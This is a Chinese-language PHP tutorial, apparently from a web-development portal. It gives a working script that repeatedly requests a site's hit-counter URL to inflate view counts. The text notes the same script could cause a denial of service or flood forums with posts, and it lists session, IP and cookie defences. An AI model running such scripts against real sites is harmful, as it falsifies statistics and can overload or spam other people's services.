网络编程 | 站长之家 | 网页制作 | 图形图象 | 操作系统 | 冲浪宝典 | 软件教学 | 网络办公 | 邮件系统 | 网络安全 | 认证考试 | 系统进程
Firefox | IE | Maxthon | 迅雷 | 电驴 | BitComet | FlashGet | QQ | QQ空间 | Vista | 输入法 | Ghost | Word | Excel | wps | Powerpoint
asp | .net | php | jsp | Sql | c# | Ajax | xml | Dreamweaver | FrontPages | Javascript | css | photoshop | fireworks | Flash | Cad | Discuz!
当前位置 > 网站建设学院 > 网络编程 > PHP技巧
Tag:注入,存储过程,分页,安全,优化,xmlhttp,fso,jmail,application,session,防盗链,stream,无组件,组件,md5,乱码,缓存,加密,验证码,算法,cookies,ubb,正则表达式,水印,索引,日志,压缩,base64,url重写,上传,控件,Web.config,JDBC,函数,内存,PDF,迁移,结构,破解,编译,配置,进程,分词,IIS,Apache,Tomcat,phpmyadmin,Gzip,触发器,socket
网络编程:ASP教程,ASP.NET教程,PHP教程,JSP教程,C#教程,数据库,XML教程,Ajax,Java,Perl,Shell,VB教程,Delphi,C/C++教程,软件工程,J2EE/J2ME,移动开发
本月文章推荐
.PHP 和 MySQL 开发的 8 个技巧.
.NuSOAP与PHPRPC比较.
.PHP动态网站开发中常用的8个小技.
.MVC模式的PHP实现.
.最小化数据传输——在客户端存储.
.动态新闻发布的实现及其技巧.
.教你如何把一篇文章按要求分段.
.怎样才能成为PHP高手?学会"懒惰.
.Windows下PHP4.0与Oracle 8的连接.
.PHP的正则处理函数总结分析.
.php调用mysql存储过程和函数的方.
.创建本地的PEAR.
.用ODBC的分页显示.
.PHP清除网页病毒的方法.
.资料注册后发信小技巧.
.PHP中常用的函数库和一些小技巧.
.在同一窗体中使用PHP来处理多个提.
.PHP5对Mysql5的任意数据库表的管.
.BS结构中使用PHP访问ORACLE LOB.
.NT IIS下用ODBC连接数据库.

PHP实现自动刷数和“灌水”机

发表日期:2005-7-29


  今天无意间看到一个网站,它的计数器能够在静态页里更新,我想,应该是使用js来做的,打开源代码一看,果然是:

<div align=center><SPAN class=Article_tdbgall>
作者:未知 文章来源:Meidi.Net
点击数:
<script language=’javascript’ src=’/Article/GetHits.asp?ArticleID=759’></script>
更新时间:2005-5-27</SPAN>
</div>

  点击数后面是一个asp文件去处理的,那么我打开这个文件看看:

document.write(’210’);

  是吧,就是GetHists.asp文件处理ArticleID后提取结果后输出次数:document.write(’次数’),再静态页里就能够直接引用了。

  坏人终究是坏人,那么我就想,如何能够迅速提升点击数呢?手工刷新的话不是很类,恩,赶紧写个PHP程序来自动的去访问这个文件。

  PHP代码如下:

<?php
/* access_url.php */
define(SUM, 1000); //需要访问的次数
define(L_TIME, 1000); //强制脚本执行的时间
define(S_TIME, 1); //每次访问之间休眠的时间
$url = "http://www.xxx.com/Article/GetHits.asp?ArticleID=759"; //需要访问的地址
set_time_limit(L_TIME);

//访问指定URL函数knowsky.com
function access_url($url)
{
 if ($url==’’) return false;
 $fp = fopen($url, ’r’) or exit(’Open url faild!’);
 if ($fp) {
  while (!feof($fp)) {
   $file = fgets($fp);
   echo $file."\n<p> </p>\n";
  }
  unset($file);
 }
}

//进行测试
for ($i=0; $i<SUM; $i++) {
 access_url($url);
 sleep(S_TIME);
}
?>

  运行上面的程序,那么就会连续访问指定的URL地址,那么自然这个访问次数就会连续增加,达到灌水的效果。如果是流量大,而且用多程序去运行的话,那么很容易就会达到拒绝服务(DoS)的效果了。如果对方的防范措施,把代码修改一下针对论坛进行提交,很容易实现论坛灌水的效果。

  防范方法:

  1. 代码中使用Session机制,当用户提交的时候生成一个Session ID,提交内容的时候判断是否已经提交,如果已提交那么就不允许刷。

  2. 当用户提交以后记录用户的IP地址,如果指定时间内再提交的话就不允许再提交。

  3. 当用户提交内容以后,在用户客户端写入Cookie,如果用户再次提交先检查客户端是否有Cookie来确定是否允许提交。

  还有很多其他方法,可以去搜索一下,或者发挥自己的想象力,做的更好。

上一篇:一个简单上传文件出错的解决 人气:10437
下一篇:PHP实现网页自动更新块 人气:10841
浏览全部PHP的内容 Dreamweaver插件下载 网页广告代码 祝你圣诞节快乐 2009年新年快乐